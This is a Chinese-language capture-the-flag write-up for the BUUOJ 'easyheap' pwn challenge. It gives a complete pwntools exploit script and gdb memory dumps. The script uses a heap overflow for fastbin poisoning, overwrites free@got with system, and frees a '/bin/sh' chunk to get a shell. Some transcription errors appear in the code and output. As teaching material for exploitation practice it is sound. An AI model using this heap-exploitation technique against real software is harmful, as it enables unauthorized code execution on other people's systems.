在堆的世界中更进一步

首先看代码发现,1是创建堆块并初始化内容,

2是编辑已有堆块内容(可以重新定义大小,这里有堆溢出点)

3是删除堆块。

查看保护

```
[*] Closed connection to node4.buuoj.cn port 29134
root@ubuntu:/home/giantbranch/Desktop/ctf# checksec easyheap
[*] '/home/giantbranch/Desktop/ctf/easyheap'
    Arch:    amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:     NX enabled
    PIF:    No PTF (0x400000)
```

RELRO半开,也就是可以采用劫持got表来获得shell 先看代码

```
from pwn import *
#from LibcSearcher import *
#context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("node4.buuoj.cn", 29134)
#io = process('./easyheap')
elf = ELF('./easyheap')
def create(size,content):
    io.recvuntil("Your choice :")
    io.sendline(str(1))
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.sendline(content)
    io.recvuntil("SuccessFul")
def edit(index,size,content):
    io.recvuntil("Your choice :")
    io.sendline(str(2))
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap : ")
    io.sendline(content)
    io.recvuntil("Done !")
def delete(index):
    io.recvuntil("Your choice :")
    io.sendline(str(3))
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Done !")
heap\_array = 0x6020E0
sys addr = 0x400C2C
free_got = elf.got['free']
fake_addr = 0x6020ad
create(0x10,'a'*0x10) #0
create(0x10, 'a'*0x10)#1
create(0x60,'b'*0x10)#2
create(0x10,'/bin/sh\x00')#3
delete(2)
edit(1,0x30, a*0x10+p64(0)+p64(0x71)+p64(fake_addr)+p64(0))
create(0x60, 'a'*0x10)#2
payload = 'a'*0x23+p64(free_got)
create(0x60,payload)#4
```

```
edit(0,0x8,p64(sys_addr))
io.recvuntil("Your choice :")
io.sendline(str(3))
io.recvuntil("Index :")
io.sendline(str(3))
io.interactive()
```

前面都是一些初始化函数。接下来才是重点

```
create(0x10,'a'*0x10) #0
create(0x10,'a'*0x10)#1
create(0x60,'b'*0x10)#2
create(0x10,'/bin/sh\x00')#3
delete(2)
edit(1,0x30,'a'*0x10+p64(0)+p64(0x71)+p64(fake_addr)+p64(0))
```

这里创建了4个堆块,其中idx为2的编号的块之所以是0x60,(因为在程序中容易找的0x7f)即伪造size (因为0x60的堆块的size是0x71)由于对齐缘故会忽略低4位(低4位用于标记状态)

在释放掉idx2块后,通过编辑idx1来覆盖idx2的内容,使得idx2的fd指针指向fake_addr(即0x6020ad处)

至于为什么是0x6020ad

```
wndbg> x/20gx 0x6020ad
0x6020ad:
                 0xfff7dd18e0000000
                                           0x0000000000000007f
0x6020bd:
                 0×00000000000000000
                                           0×00000000000000000
0x6020cd:
                 0x0000000000000000
                                           0×0000000000000000
0x6020dd:
                 0 \times 00000000000000000
                                           0x0000000000000000
                                                            0x0000000000000000
0x6020ed <heaparray+13>:
                                  0 \times 00000000000000000
0x6020fd <heaparray+29>:
                                  0x0000000000000000
                                                            0x0000000000000000
0x60210d <heaparray+45>:
                                  0 \times 00000000000000000
                                                            0x00000000000000000
                                  0×0000000000000000
                                                            0x00000000000000000
0x60211d <heaparray+61>:
0x60212d <heaparray+77>:
                                  0×0000000000000000
                                                            0x00000000000000000
                 0×0000000000000000
                                           0x00000000000000000
0x60213d:
```

在6020ad处size为0x7f可以满足伪造条件(伪造0x60的fastchunk)

此时

```
create(0x60,'a'*0x10)#2
payload = 'a'*0x23+p64(free_got)
create(0x60,payload)#4
```

第一个create返回原释放的块

而第二次create就返回了在0x6020ad处开始创建的大小为0x60的块。

```
注意初始化内容
0x6020ad处创建的堆块,起始在0x6020bd,0x6020bd+0x23 = 0x6020e0
即heaparray的第一个元素值被修改为了free_got
(即idx0现在指向了free_got)
现在想idx0堆块中写入内容
edit(0,0x8,p64(sys_addr))
```

现在free_got的值被修改为了syscall的地址

现在释放掉idx3的块

```
io.recvuntil("Your choice :")
io.sendline(str(3))
io.recvuntil("Index :")
io.sendline(str(3))
```

free('/bin/sh\x00')= system('/bin/sh\x00') 执行成功